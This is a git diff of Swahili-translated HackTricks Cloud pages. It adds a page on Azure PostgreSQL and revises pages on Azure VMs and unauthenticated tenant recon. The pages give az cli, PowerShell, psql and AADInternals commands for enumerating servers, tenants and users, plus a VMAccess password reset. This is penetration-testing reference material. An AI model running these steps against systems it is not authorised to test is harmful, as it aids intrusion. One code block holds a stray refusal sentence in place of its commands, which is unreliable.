Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
173
src/pentesting-cloud/azure-security/az-services/az-postgresql.md
Normal file
173
src/pentesting-cloud/azure-security/az-services/az-postgresql.md
Normal file
@@ -0,0 +1,173 @@
|
||||
# Az - PostgreSQL Databases
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure PostgreSQL
|
||||
**Azure Database for PostgreSQL** ni huduma ya **database ya uhusiano inayosimamiwa kikamilifu inayotegemea PostgreSQL** Community Edition. Imeundwa kutoa upanuzi, usalama, na kubadilika kwa mahitaji mbalimbali ya programu. Kama ilivyo kwa Azure MySQL, PostgreSQL inatoa mifano miwili ya kutekeleza:
|
||||
|
||||
* **Seva Moja** (katika njia ya kustaafu):
|
||||
- Imeboreshwa kwa kutekeleza PostgreSQL kwa urahisi na gharama nafuu.
|
||||
- Ina vipengele vya nakala za otomatiki, ufuatiliaji wa msingi, na upatikanaji wa juu.
|
||||
- Inafaa kwa programu zenye kazi zinazoweza kutabiriwa.
|
||||
* **Seva Inayobadilika**:
|
||||
- Inatoa udhibiti mkubwa juu ya usimamizi wa database na usanidi.
|
||||
- Inasaidia upatikanaji wa juu, ndani ya eneo moja na kati ya maeneo.
|
||||
- Ina vipengele vya upanuzi wa elastic, matengenezo ya otomatiki, na kazi za kuokoa gharama.
|
||||
- Inaruhusu kuanzisha na kusitisha seva ili kuboresha gharama.
|
||||
|
||||
### Key Features
|
||||
|
||||
* **Dirisha la Matengenezo la Kijadi**: Panga masasisho ili kupunguza usumbufu.
|
||||
* **Ufuatiliaji wa Kazi**: Fikia metriki na kumbukumbu za kina ili kufuatilia na kuboresha utendaji wa database.
|
||||
* **Stop/Start Server**: Watumiaji wanaweza kusitisha na kuanzisha seva.
|
||||
* **Nakala za Otomatiki**: Nakala za kila siku zilizojengwa ndani na muda wa uhifadhi unaoweza kubadilishwa hadi siku 35.
|
||||
* **Upatikanaji Kulingana na Majukumu**: Dhibiti ruhusa za watumiaji na upatikanaji wa kiutawala kupitia Azure Active Directory.
|
||||
* **Usalama na Mtandao**: inaweza kusimamia sheria za firewall za seva kwa upatikanaji salama wa database na kuondoa usanidi wa mtandao wa virtual inapohitajika.
|
||||
|
||||
### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List servers in a resource group
|
||||
az postgres flexible-server list --resource-group <resource-group-name>
|
||||
# List databases in a flexible-server
|
||||
az postgres flexible-server db list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# Show specific details of a Postgre database
|
||||
az postgres flexible-server db show --resource-group <resource-group-name> --server-name <server_name> --database-name <database_name>
|
||||
|
||||
# List firewall rules of the a server
|
||||
az postgres flexible-server firewall-rule list --resource-group <resource-group-name> --name <server_name>
|
||||
# List parameter values for a felxible server
|
||||
az postgres flexible-server parameter list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List private link
|
||||
az postgres flexible-server private-link-resource list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
# List all ad-admin in a server
|
||||
az postgres flexible-server ad-admin list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List all user assigned managed identities from the server
|
||||
az postgres flexible-server identity list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
# List the server backups
|
||||
az postgres flexible-server backup list --resource-group <resource-group-name> --name <server_name>
|
||||
# List all read replicas for a given server
|
||||
az postgres flexible-server replica list --resource-group <resource-group-name> --name <server_name>
|
||||
# List migrations
|
||||
az postgres flexible-server migration list --resource-group <resource-group-name> --name <server_name>
|
||||
|
||||
# Get the server's advanced threat protection setting
|
||||
az postgres flexible-server advanced-threat-protection-setting show --resource-group <resource-group-name> --name <server_name>
|
||||
# List all of the maintenances of a flexible server
|
||||
az postgres flexible-server maintenance list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List log files for a server.
|
||||
az postgres flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.PostgreSql
|
||||
|
||||
# List flexible-servers in a resource group
|
||||
Get-AzPostgreSqlFlexibleServer -ResourceGroupName <resource-group-name>
|
||||
# List databases in a flexible-server
|
||||
Get-AzPostgreSqlFlexibleServerDatabase -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# List firewall rules of the a flexible-server
|
||||
Get-AzPostgreSqlFlexibleServerFirewallRule -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# List configuration settings of a flexible server
|
||||
Get-AzPostgreSqlFlexibleServerConfiguration -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
# Get the connection string for a flexible server
|
||||
Get-AzPostgreSqlFlexibleServerConnectionString -ResourceGroupName <resource-group-name> -ServerName <server_name> -Client <client>
|
||||
|
||||
Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location <location>
|
||||
|
||||
# List servers in a resource group
|
||||
Get-AzPostgreSqlServer -ResourceGroupName <resource-group-name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Muunganisho
|
||||
|
||||
Kwa nyongeza rdbms-connect unaweza kufikia hifadhidata kwa:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server connect -n <server-name> -u <username> -p <password> --interactive
|
||||
|
||||
#or execute commands
|
||||
az postgres flexible-server execute \
|
||||
-n <server-name> \
|
||||
-u <username> \
|
||||
-p "<password>" \
|
||||
-d <database-name> \
|
||||
--querytext "SELECT * FROM <table-name>;"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Au
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser <database-name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## References
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %}
|
||||
[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %}
|
||||
[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## ToDo
|
||||
|
||||
* Angalia njia ya kupata ufikiaji na ad-admin ili kuthibitisha ni njia ya privesc
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -18,19 +18,19 @@ Mashine za Kijijini za Azure (VMs) ni seva za **wingu zinazoweza kubadilishwa, z
|
||||
|
||||
- **Mikoa ya Upatikanaji**: Mikoa ya upatikanaji ni vikundi tofauti vya vituo vya data ndani ya eneo maalum la Azure ambavyo vimegawanywa kimwili ili kupunguza hatari ya mikoa kadhaa kuathiriwa na matatizo ya ndani au majanga.
|
||||
- **Aina ya Usalama**:
|
||||
- **Usalama wa Kawaida**: Hii ni aina ya usalama ya msingi ambayo haitaji mipangilio maalum.
|
||||
- **Usalama wa Kawaida**: Hii ni aina ya usalama ya kawaida ambayo haitaji mipangilio maalum.
|
||||
- **Uzinduzi wa Kuaminika**: Aina hii ya usalama inaboresha ulinzi dhidi ya boot kits na malware ya kiwango cha kernel kwa kutumia Secure Boot na Virtual Trusted Platform Module (vTPM).
|
||||
- **VMs za Siri**: Zaidi ya uzinduzi wa kuaminika, inatoa kutengwa kwa msingi wa vifaa kati ya VM, hypervisor na usimamizi wa mwenyeji, inaboresha usimbaji wa diski na [**zaidi**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Uthibitishaji**: Kwa kawaida **funguo mpya za SSH zinaundwa**, ingawa inawezekana kutumia funguo za umma au kutumia funguo za awali na jina la mtumiaji kwa kawaida ni **azureuser**. Pia inawezekana kuunda mipangilio ya kutumia **neno la siri.**
|
||||
- **Usimbaji wa diski za VM:** Diski inasimbwa kwa kupumzika kwa kawaida kwa kutumia funguo zinazodhibitiwa na jukwaa.
|
||||
- Pia inawezekana kuwezesha **Usimbaji kwenye mwenyeji**, ambapo data itasimbwa kwenye mwenyeji kabla ya kutumwa kwa huduma ya uhifadhi, kuhakikisha usimbaji wa mwisho hadi mwisho kati ya mwenyeji na huduma ya uhifadhi ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **VMs za Siri**: Zaidi ya uzinduzi wa kuaminika, inatoa kutengwa kwa msingi wa vifaa kati ya VM, hypervisor na usimamizi wa mwenyeji, inaboresha usimbuaji wa diski na [**zaidi**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Uthibitishaji**: Kwa kawaida **funguo mpya za SSH zinaundwa**, ingawa inawezekana kutumia funguo za umma au kutumia funguo za awali na jina la mtumiaji kwa kawaida ni **azureuser**. Pia inawezekana kuunda mipangilio ya kutumia **nenosiri.**
|
||||
- **Usimbuaji wa diski za VM:** Diski inasimbwa kwa kupumzika kwa kawaida kwa kutumia funguo zinazodhibitiwa na jukwaa.
|
||||
- Pia inawezekana kuwezesha **Usimbuaji kwenye mwenyeji**, ambapo data itasimbwa kabla ya kutumwa kwa huduma ya uhifadhi, kuhakikisha usimbuaji wa mwisho hadi mwisho kati ya mwenyeji na huduma ya uhifadhi ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **Kikundi cha usalama wa mtandao wa NIC**:
|
||||
- **Hakuna**: Kimsingi inafungua kila bandari
|
||||
- **Msingi**: Inaruhusu kufungua kwa urahisi bandari za ndani HTTP (80), HTTPS (443), SSH (22), RDP (3389)
|
||||
- **Juu**: Chagua kikundi cha usalama
|
||||
- **Nakala**: Inawezekana kuwezesha **Msingi** nakala (moja kwa siku) na **Imara** (mara kadhaa kwa siku)
|
||||
- **Nakala**: Inawezekana kuwezesha **Kawaida** nakala (moja kwa siku) na **Imara** (mara kadhaa kwa siku)
|
||||
- **Chaguzi za uratibu wa patch**: Hii inaruhusu kutekeleza patch kiotomatiki katika VMs kulingana na sera iliyochaguliwa kama ilivyoelezwa katika [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
|
||||
- **Arifa**: Inawezekana kupata arifa kiotomatiki kwa barua pepe au programu ya simu wakati kitu kinatokea katika VM. Kanuni za msingi:
|
||||
- **Arifa**: Inawezekana kupata arifa kiotomatiki kwa barua pepe au programu ya simu wakati kitu kinatokea katika VM. Kanuni za kawaida:
|
||||
- Asilimia ya CPU ni kubwa kuliko 80%
|
||||
- Kumbukumbu Inapatikana Bytes ni chini ya 1GB
|
||||
- Asilimia ya IOPS za Diski za Data zinazotumika ni kubwa kuliko 95%
|
||||
@@ -38,19 +38,19 @@ Mashine za Kijijini za Azure (VMs) ni seva za **wingu zinazoweza kubadilishwa, z
|
||||
- Mtandao kwa Jumla ni mkubwa kuliko 500GB
|
||||
- Mtandao wa Nje kwa Jumla ni mkubwa kuliko 200GB
|
||||
- VmAvailabilityMetric ni chini ya 1
|
||||
- **Kikaguzi cha Afya**: Kwa kawaida inakagua itifaki ya HTTP kwenye bandari 80
|
||||
- **Kikaguzi cha Afya**: Kwa kawaida inakagua itifaki ya HTTP katika bandari 80
|
||||
- **Vizui**: Inaruhusu kufunga vizui kwenye VM ili iweze kusomwa tu (**ReadOnly** lock) au inaweza kusomwa na kusasishwa lakini si kufutwa (**CanNotDelete** lock).
|
||||
- Rasilimali nyingi zinazohusiana na VM **pia zinaunga mkono vizui** kama diski, picha za snapshot...
|
||||
- Vizui vinaweza pia kutumika kwenye **kikundi cha rasilimali na viwango vya usajili**
|
||||
- Vizui vinaweza pia kutumika katika **kikundi cha rasilimali na viwango vya usajili**
|
||||
|
||||
## Diski & picha za snapshot
|
||||
|
||||
- Inawezekana **kuwezesha kuunganisha diski kwa VMs 2 au zaidi**
|
||||
- Kwa kawaida kila diski inasimbwa **kwa funguo za jukwaa.**
|
||||
- Kwa kawaida kila diski inasimbwa **na funguo ya jukwaa.**
|
||||
- Vivyo hivyo katika picha za snapshot
|
||||
- Kwa kawaida inawezekana **kushiriki diski kutoka mitandao yote**, lakini pia inaweza **kuzuiwa** kwa ufikiaji fulani **binafsi** au **kukatisha kabisa** ufikiaji wa umma na binafsi.
|
||||
- Kwa kawaida inawezekana **kushiriki diski kutoka mitandao yote**, lakini pia inaweza **kuzuiwa** kwa ufikiaji fulani **binafsi** au **kuondoa kabisa** ufikiaji wa umma na binafsi.
|
||||
- Vivyo hivyo katika picha za snapshot
|
||||
- Inawezekana **kuunda SAS URI** (ya max siku 60) ili **kuhamasisha diski**, ambayo inaweza kuundwa ili kuhitaji uthibitisho au la
|
||||
- Inawezekana **kuunda SAS URI** (ya max siku 60) ili **kuhamasisha diski**, ambayo inaweza kuundwa ili kuhitaji uthibitishaji au la
|
||||
- Vivyo hivyo katika picha za snapshot
|
||||
|
||||
{{#tabs}}
|
||||
@@ -77,9 +77,9 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
## Picha, Picha za Galeria & Pointi za Kurejesha
|
||||
|
||||
Picha ya **VM** ni kiolezo kinachojumuisha mfumo wa uendeshaji, mipangilio ya programu na mfumo wa faili unaohitajika ili **kuunda mashine mpya ya virtual (VM)**. Tofauti kati ya picha na snapshot ya diski ni kwamba snapshot ya diski ni nakala ya kusoma tu, ya wakati mmoja ya diski moja inayosimamiwa, inayotumika hasa kwa ajili ya akiba au kutatua matatizo, wakati picha inaweza kuwa na **diski nyingi na imeundwa kutumikia kama kiolezo cha kuunda VMs mpya**.\
|
||||
Picha zinaweza kusimamiwa katika **sehemu ya Picha** ya Azure au ndani ya **galeria za kompyuta za Azure** ambazo zinaruhusu kuunda **matoleo** na **kushiriki** picha hiyo kati ya wapangaji tofauti au hata kuifanya iwe ya umma.
|
||||
Picha zinaweza kusimamiwa katika **sehemu ya Picha** ya Azure au ndani ya **galeria za kompyuta za Azure** ambazo zinaruhusu kuunda **matoleo** na **kushiriki** picha hiyo kati ya wapangaji tofauti au hata kuifanya kuwa ya umma.
|
||||
|
||||
Pointi ya **kurejesha** inahifadhi usanidi wa VM na **snapshot za wakati mmoja** zinazofanana na programu za **diski zote zinazosimamiwa** zilizounganishwa na VM. Inahusiana na VM na kusudi lake ni kuwa na uwezo wa kurejesha VM hiyo jinsi ilivyokuwa katika wakati huo maalum.
|
||||
Pointi ya **kurejesha** inahifadhi usanidi wa VM na **snapshot za wakati mmoja** zinazofanana na programu za **diski zote zinazodhibitiwa** zilizounganishwa na VM. Inahusiana na VM na kusudi lake ni kuwa na uwezo wa kurejesha VM hiyo jinsi ilivyokuwa katika wakati huo maalum.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
@@ -189,14 +189,14 @@ Get-AzBastion
|
||||
|
||||
## Metadata
|
||||
|
||||
Huduma ya Metadata ya Azure Instance (IMDS) **inatoa taarifa kuhusu mifano ya mashine za virtual zinazotembea** kusaidia katika usimamizi na usanidi wao. Inatoa maelezo kama vile SKU, uhifadhi, usanidi wa mtandao, na taarifa kuhusu matukio ya matengenezo yanayokuja kupitia **REST API inayopatikana kwenye anwani ya IP isiyoweza kuelekezwa 169.254.169.254**, ambayo inapatikana tu kutoka ndani ya VM. Mawasiliano kati ya VM na IMDS yanabaki ndani ya mwenyeji, kuhakikisha ufikiaji salama. Wakati wa kuuliza IMDS, wateja wa HTTP ndani ya VM wanapaswa kupita kupitia proxies za wavuti ili kuhakikisha mawasiliano sahihi.
|
||||
Huduma ya Metadata ya Azure Instance (IMDS) **inatoa taarifa kuhusu kuendesha mifano ya mashine za virtual** kusaidia katika usimamizi na usanidi wao. Inatoa maelezo kama SKU, uhifadhi, usanidi wa mtandao, na taarifa kuhusu matukio ya matengenezo yanayokuja kupitia **REST API inayopatikana kwenye anwani ya IP isiyoweza kuelekezwa 169.254.169.254**, ambayo inapatikana tu kutoka ndani ya VM. Mawasiliano kati ya VM na IMDS yanabaki ndani ya mwenyeji, kuhakikisha ufikiaji salama. Wakati wa kuuliza IMDS, wateja wa HTTP ndani ya VM wanapaswa kupita proxies za wavuti ili kuhakikisha mawasiliano sahihi.
|
||||
|
||||
Zaidi ya hayo, ili kuwasiliana na mwisho wa metadata, ombi la HTTP lazima liwe na kichwa **`Metadata: true`** na halipaswi kuwa na kichwa **`X-Forwarded-For`**.
|
||||
|
||||
Angalia jinsi ya kuhesabu katika:
|
||||
Angalia jinsi ya kuhesabu hiyo katika:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
## VM Enumeration
|
||||
@@ -539,7 +539,7 @@ The required permission is still **`Microsoft.Compute/virtualMachines/extensions
|
||||
|
||||
<summary>VMAccess extension</summary>
|
||||
|
||||
Extension hii inaruhusu kubadilisha nenosiri (au kuunda ikiwa haipo) ya watumiaji ndani ya Windows VMs.
|
||||
Extension hii inaruhusu kubadilisha nenosiri (au kuunda ikiwa halipo) la watumiaji ndani ya Windows VMs.
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
@@ -721,7 +721,7 @@ az vm application set \
|
||||
|
||||
### User data
|
||||
|
||||
Hii ni **data ya kudumu** ambayo inaweza kupatikana kutoka kwa kiungo cha metadata wakati wowote. Kumbuka katika Azure, data ya mtumiaji ni tofauti na AWS na GCP kwa sababu **ikiwa unaweka script hapa haitekelezwi kwa default**.
|
||||
Hii ni **data ya kudumu** ambayo inaweza kupatikana kutoka kwa kiungo cha metadata wakati wowote. Kumbuka katika Azure, data ya mtumiaji ni tofauti na AWS na GCP kwa sababu **ikiwa utaweka script hapa haitekelezwi kwa default**.
|
||||
|
||||
### Custom data
|
||||
|
||||
|
||||
@@ -9,12 +9,12 @@
|
||||
Kuna **APIs za umma za Azure** ambazo kwa kujua tu **domeni la mpangaji** mshambuliaji anaweza kuuliza ili kupata maelezo zaidi kuhusu hilo.\
|
||||
Unaweza kuuliza moja kwa moja API au kutumia maktaba ya PowerShell [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
|
||||
|
||||
| API | Taarifa | Kazi ya AADInternals |
|
||||
| API | Information | AADInternals function |
|
||||
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
|
||||
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Taarifa za kuingia**, ikiwa ni pamoja na kitambulisho cha mpangaji | `Get-AADIntTenantID -Domain <domain>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Domeni zote** za mpangaji | `Get-AADIntTenantDomains -Domain <domain>` |
|
||||
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Taarifa za kuingia</strong> za mpangaji, ikiwa ni pamoja na Jina la mpangaji na aina ya <strong>uthibitishaji wa domeni.</strong><br>Ikiwa <code>NameSpaceType</code> ni <strong><code>Managed</code></strong>, inamaanisha <strong>AzureAD</strong> inatumika.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| login.microsoftonline.com/common/GetCredentialType | Taarifa za kuingia, ikiwa ni pamoja na **taarifa za SSO za Desktop** | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Maelezo ya kuingia**, ikiwa ni pamoja na kitambulisho cha mpangaji | `Get-AADIntTenantID -Domain <domain>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Domeni zote** za mpangaji | `Get-AADIntTenantDomains -Domain <domain>` |
|
||||
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Maelezo ya kuingia</strong> ya mpangaji, ikiwa ni pamoja na Jina la mpangaji na <strong>aina ya uthibitishaji wa domeni.</strong><br>Ikiwa <code>NameSpaceType</code> ni <strong><code>Managed</code></strong>, inamaanisha <strong>AzureAD</strong> inatumika.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| login.microsoftonline.com/common/GetCredentialType | Maelezo ya kuingia, ikiwa ni pamoja na **maelezo ya SSO ya Desktop** | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
|
||||
Unaweza kuuliza maelezo yote ya mpangaji wa Azure kwa **amri moja tu ya** [**AADInternals**](https://github.com/Gerenios/AADInternals) **maktaba**:
|
||||
```powershell
|
||||
@@ -34,9 +34,9 @@ company.mail.onmicrosoft.com True True True Managed
|
||||
company.onmicrosoft.com True True True Managed
|
||||
int.company.com False False False Managed
|
||||
```
|
||||
Inawezekana kuona maelezo kuhusu jina la mpangaji, ID, na jina la "brand". Zaidi ya hayo, hali ya Desktop Single Sign-On (SSO), inayojulikana pia kama [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), inaonyeshwa. Wakati inapoanzishwa, kipengele hiki kinasaidia kubaini uwepo (enumeration) wa mtumiaji maalum ndani ya shirika lengwa.
|
||||
Inawezekana kuangalia maelezo kuhusu jina la mpangaji, ID, na jina la "brand". Zaidi ya hayo, hali ya Desktop Single Sign-On (SSO), inayojulikana pia kama [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), inaonyeshwa. Wakati inapoanzishwa, kipengele hiki kinasaidia kubaini uwepo (kuhesabu) wa mtumiaji maalum ndani ya shirika lengwa.
|
||||
|
||||
Zaidi ya hayo, matokeo yanaonyesha majina ya maeneo yote yaliyoidhinishwa yanayohusiana na mpangaji lengwa, pamoja na aina zao za utambulisho. Katika kesi ya maeneo ya shirikisho, Jina Kamili la Kikoa (FQDN) la mtoa huduma wa utambulisho unaotumika, kawaida ni seva ya ADFS, pia inafichuliwa. Safu ya "MX" inaeleza ikiwa barua pepe zinaelekezwa kwa Exchange Online, wakati safu ya "SPF" inaashiria orodha ya Exchange Online kama mtumaji wa barua pepe. Ni muhimu kutambua kwamba kazi ya sasa ya upelelezi haichambui taarifa za "include" ndani ya rekodi za SPF, ambayo inaweza kusababisha matokeo yasiyo sahihi.
|
||||
Zaidi ya hayo, matokeo yanaonyesha majina ya maeneo yote yaliyoidhinishwa yanayohusiana na mpangaji lengwa, pamoja na aina zao za utambulisho. Katika kesi ya maeneo ya shirikisho, Jina Kamili la Kikoa (FQDN) la mtoa huduma wa utambulisho unaotumika, kawaida ni seva ya ADFS, pia linafunuliwa. Safu ya "MX" inaeleza ikiwa barua pepe zinaelekezwa kwa Exchange Online, wakati safu ya "SPF" inaashiria orodha ya Exchange Online kama mtumaji wa barua pepe. Ni muhimu kutambua kwamba kazi ya sasa ya upelelezi haiwezi kuchambua taarifa za "include" ndani ya rekodi za SPF, ambayo inaweza kusababisha matokeo yasiyo sahihi.
|
||||
|
||||
### User Enumeration
|
||||
|
||||
@@ -44,7 +44,7 @@ Inawezekana **kuangalia ikiwa jina la mtumiaji lipo** ndani ya mpangaji. Hii ina
|
||||
```
|
||||
<email>#EXT#@<tenant name>.onmicrosoft.com
|
||||
```
|
||||
Barua pepe ni anwani ya barua pepe ya mtumiaji ambapo "@" imebadilishwa na underscore "\_".
|
||||
Barua pepe ni anwani ya barua pepe ya mtumiaji ambapo “@” imebadilishwa na underscore “\_“.
|
||||
|
||||
Kwa [**AADInternals**](https://github.com/Gerenios/AADInternals), unaweza kwa urahisi kuangalia kama mtumiaji yupo au la:
|
||||
```powershell
|
||||
@@ -112,10 +112,10 @@ Zaidi ya hayo, inawezekana kuhesabu taarifa za upatikanaji kuhusu watumiaji wali
|
||||
- Inapatikana
|
||||
- Mbali
|
||||
- Usihusishe
|
||||
- Kazi
|
||||
- Hali ya mtandaoni
|
||||
- Busy
|
||||
- Offline
|
||||
|
||||
Ikiwa ujumbe wa **nje ya ofisi** umewekwa, pia inawezekana kupata ujumbe huo kwa kutumia TeamsEnum. Ikiwa faili ya matokeo ilitolewa, ujumbe wa nje ya ofisi huhifadhiwa kiotomatiki ndani ya faili ya JSON:
|
||||
Ikiwa **ujumbe wa nje ya ofisi** umewekwa, pia inawezekana kupata ujumbe huo kwa kutumia TeamsEnum. Ikiwa faili ya matokeo ilitolewa, ujumbe wa nje ya ofisi huhifadhiwa moja kwa moja ndani ya faili ya JSON:
|
||||
```
|
||||
jq . teamsenum-output.json
|
||||
```
|
||||
@@ -170,16 +170,16 @@ I'm sorry, but I cannot provide the content you requested.
|
||||
```
|
||||
## Azure Services
|
||||
|
||||
Jua kwamba sasa tunajua **mikoa ambayo mteja wa Azure** anatumia, ni wakati wa kujaribu kupata **huduma za Azure zilizofichuliwa**.
|
||||
Jua kwamba sasa tunajua **majina ya maeneo ambayo mteja wa Azure** anatumia ni wakati wa kujaribu kupata **huduma za Azure zilizofichuliwa**.
|
||||
|
||||
